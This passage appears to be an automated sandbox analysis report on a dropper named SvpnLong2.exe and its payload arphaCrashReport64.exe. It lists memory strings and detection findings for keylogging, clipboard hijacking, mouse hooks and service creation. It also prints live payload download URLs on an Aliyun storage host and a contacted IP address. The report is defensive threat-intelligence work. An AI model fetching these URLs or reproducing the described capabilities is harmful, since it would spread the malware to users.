Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: SvpnLong2.exe, 00000000.00000002.3527821856.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/
Source: SvpnLong2.exe, 00000000.00000002.3527821856.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/=
Source: SvpnLong2.exe, 00000000.00000002.3527821856.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/=HJ/
Source: SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.0000000001213000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1893722602.0000000001400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe
Source: SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exef
Source: SvpnLong2.exe, 00000000.00000003.1893722602.0000000001400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b
Source: SvpnLong2.exe, 00000000.00000002.3527821856.0000000001265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll
Source: SvpnLong2.exe, 00000000.00000003.3025561998.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllGb
Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllNNAME=ConsoleSystemDri
Source: SvpnLong2.exe, 00000000.00000003.3025561998.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllcy
Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllesPSModulePath
Source: SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe
Source: SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll
Source: arphaDump64.dll.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.virtualbox.org/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49734 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: [esc]	0_2_0214DEB0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: [esc]	5_2_000002177938DEB0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: [esc]	6_2_000001CEC520DEB0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02144210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_02144210

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02144210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	0_2_02144210
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779384210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	5_2_0000021779384210
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5204210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	6_2_000001CEC5204210

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02144210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_02144210

Source: SvpnLong2.exe

Binary or memory string: DirectInput8Create

Source: C:\Users\user\Desktop\SvpnLong2.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02144380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	0_2_02144380
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01428C09 socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	0_2_01428C09
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E50020 NtAllocateVirtualMemory,LdrLoadDll,	0_2_01E50020
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E50091 NtAllocateVirtualMemory,LdrLoadDll,	0_2_01E50091
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779384380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	5_2_0000021779384380
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021777960C79 WSAStartup,socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	5_2_0000021777960C79
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779090020 NtAllocateVirtualMemory,LdrLoadDll,	5_2_0000021779090020
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779090091 NtAllocateVirtualMemory,LdrLoadDll,	5_2_0000021779090091
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5204380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	6_2_000001CEC5204380
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC35B0C79 WSAStartup,socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	6_2_000001CEC35B0C79
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F10020 NtAllocateVirtualMemory,LdrLoadDll,	6_2_000001CEC4F10020
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F10091 NtAllocateVirtualMemory,LdrLoadDll,	6_2_000001CEC4F10091

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_0214F8D0 rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,

0_2_0214F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_0214F360 GetCurrentProcessId,GetCurrentThreadId,VirtualProtect,VirtualProtect,CreateProcessWithLogonW,VirtualProtect,VirtualProtect,CloseHandle,

0_2_0214F360

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0214E6F6 ExitWindowsEx,	0_2_0214E6F6
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177938E6F6 ExitWindowsEx,	5_2_000002177938E6F6
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC520E6F6 ExitWindowsEx,	6_2_000001CEC520E6F6

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02150180	0_2_02150180
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02141E80	0_2_02141E80
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_021574B8	0_2_021574B8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_021414C0	0_2_021414C0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0214FCF0	0_2_0214FCF0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02144530	0_2_02144530
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0215A244	0_2_0215A244
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02156A70	0_2_02156A70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0214DA90	0_2_0214DA90
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02162ADC	0_2_02162ADC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02142380	0_2_02142380
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02158808	0_2_02158808
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0214F8D0	0_2_0214F8D0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02153904	0_2_02153904
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02157938	0_2_02157938
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02163974	0_2_02163974
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_021651A4	0_2_021651A4
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0215664C	0_2_0215664C
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02157F24	0_2_02157F24
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02153FA4	0_2_02153FA4
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_021524A0	0_2_021524A0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02156CAC	0_2_02156CAC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_021584A8	0_2_021584A8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02165CC0	0_2_02165CC0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02166520	0_2_02166520
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E681C0	0_2_01E681C0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E678DC	0_2_01E678DC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E51838	0_2_01E51838
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E66004	0_2_01E66004
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E69BFC	0_2_01E69BFC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E5FB38	0_2_01E5FB38
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E672F0	0_2_01E672F0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E632BC	0_2_01E632BC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E51D38	0_2_01E51D38
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E5D42B	0_2_01E5D42B
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E53EE8	0_2_01E53EE8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E67E60	0_2_01E67E60
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E66E70	0_2_01E66E70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E61E58	0_2_01E61E58
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793814C0	5_2_00000217793814C0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779384530	5_2_0000021779384530
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779381E80	5_2_0000021779381E80
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177938F8D0	5_2_000002177938F8D0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779393904	5_2_0000021779393904
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779393FA4	5_2_0000021779393FA4
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779398808	5_2_0000021779398808
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779396A70	5_2_0000021779396A70
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177939A244	5_2_000002177939A244
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177938DA90	5_2_000002177938DA90
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793A2ADC	5_2_00000217793A2ADC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793A3974	5_2_00000217793A3974
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779397938	5_2_0000021779397938
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793A51A4	5_2_00000217793A51A4
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779390180	5_2_0000021779390180
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793984A8	5_2_00000217793984A8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779396CAC	5_2_0000021779396CAC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793924A0	5_2_00000217793924A0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177938FCF0	5_2_000002177938FCF0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793A5CC0	5_2_00000217793A5CC0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793974B8	5_2_00000217793974B8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793A6520	5_2_00000217793A6520
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779382380	5_2_0000021779382380
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177939664C	5_2_000002177939664C
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779397F24	5_2_0000021779397F24
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1C4FE0	5_2_00007FF73D1C4FE0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1CAE50	5_2_00007FF73D1CAE50
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1DC52C	5_2_00007FF73D1DC52C
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1DC100	5_2_00007FF73D1DC100
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1C8910	5_2_00007FF73D1C8910
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1DDF54	5_2_00007FF73D1DDF54
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D8F78	5_2_00007FF73D1D8F78
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D3FA0	5_2_00007FF73D1D3FA0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1C1FB0	5_2_00007FF73D1C1FB0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D600C	5_2_00007FF73D1D600C
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1C92B0	5_2_00007FF73D1C92B0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1E0148	5_2_00007FF73D1E0148
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1CC1C0	5_2_00007FF73D1CC1C0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D7C60	5_2_00007FF73D1D7C60
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D3CD4	5_2_00007FF73D1D3CD4
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1CEB34	5_2_00007FF73D1CEB34
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FFE113963F8	5_2_00007FFE113963F8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FFE11393FE0	5_2_00007FFE11393FE0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779091838	5_2_0000021779091838
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A78DC	5_2_00000217790A78DC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A6004	5_2_00000217790A6004
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A32BC	5_2_00000217790A32BC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A72F0	5_2_00000217790A72F0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A81C0	5_2_00000217790A81C0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177909FB38	5_2_000002177909FB38
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A9BFC	5_2_00000217790A9BFC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177909D42B	5_2_000002177909D42B
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A7E60	5_2_00000217790A7E60
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A1E58	5_2_00000217790A1E58
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A6E70	5_2_00000217790A6E70
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779093EE8	5_2_0000021779093EE8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779091D38	5_2_0000021779091D38
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5204530	6_2_000001CEC5204530
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC52014C0	6_2_000001CEC52014C0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5201E80	6_2_000001CEC5201E80
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5226520	6_2_000001CEC5226520
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC52174B8	6_2_000001CEC52174B8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5225CC0	6_2_000001CEC5225CC0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC52124A0	6_2_000001CEC52124A0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC52184A8	6_2_000001CEC52184A8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5216CAC	6_2_000001CEC5216CAC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC520FCF0	6_2_000001CEC520FCF0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5217F24	6_2_000001CEC5217F24
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5213FA4	6_2_000001CEC5213FA4
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5218808	6_2_000001CEC5218808
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC521664C	6_2_000001CEC521664C
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5217938	6_2_000001CEC5217938
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5223974	6_2_000001CEC5223974
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5210180	6_2_000001CEC5210180
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC52251A4	6_2_000001CEC52251A4
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5213904	6_2_000001CEC5213904
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC520F8D0	6_2_000001CEC520F8D0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5202380	6_2_000001CEC5202380
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC521A244	6_2_000001CEC521A244
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5216A70	6_2_000001CEC5216A70
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC520DA90	6_2_000001CEC520DA90
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5222ADC	6_2_000001CEC5222ADC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F1D42B	6_2_000001CEC4F1D42B
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F11D38	6_2_000001CEC4F11D38
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F13EE8	6_2_000001CEC4F13EE8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F26E70	6_2_000001CEC4F26E70
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F27E60	6_2_000001CEC4F27E60
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F21E58	6_2_000001CEC4F21E58
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F26004	6_2_000001CEC4F26004
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F278DC	6_2_000001CEC4F278DC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F11838	6_2_000001CEC4F11838
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F281C0	6_2_000001CEC4F281C0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F272F0	6_2_000001CEC4F272F0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F232BC	6_2_000001CEC4F232BC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F29BFC	6_2_000001CEC4F29BFC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F1FB38	6_2_000001CEC4F1FB38

